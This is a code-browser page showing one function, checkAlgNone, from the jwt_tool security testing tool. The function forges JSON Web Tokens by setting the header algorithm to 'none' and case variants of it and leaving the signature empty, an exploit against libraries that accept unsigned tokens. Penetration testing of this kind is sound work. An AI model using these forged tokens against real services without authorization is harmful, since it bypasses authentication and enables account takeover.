MCPcopy
hub / github.com/ticarpi/jwt_tool / checkAlgNone

Function checkAlgNone

jwt_tool.py:305–318  ·  view source on GitHub ↗
(headDict, paylB64)

Source from the content-addressed store, hash-verified

303 return jwtPsy
304
305def checkAlgNone(headDict, paylB64):
306 alg1 = "none"
307 newHead1 = buildHead(alg1, headDict)
308 CVEToken0 = newHead1+"."+paylB64+"."
309 alg = "None"
310 newHead = buildHead(alg, headDict)
311 CVEToken1 = newHead+"."+paylB64+"."
312 alg = "NONE"
313 newHead = buildHead(alg, headDict)
314 CVEToken2 = newHead+"."+paylB64+"."
315 alg = "nOnE"
316 newHead = buildHead(alg, headDict)
317 CVEToken3 = newHead+"."+paylB64+"."
318 return [CVEToken0, CVEToken1, CVEToken2, CVEToken3]
319
320def checkPubKeyExploit(headDict, paylB64, pubKey):
321 try:

Callers 2

scanModePlaybookFunction · 0.85
runExploitsFunction · 0.85

Calls 1

buildHeadFunction · 0.85

Tested by

no test coverage detected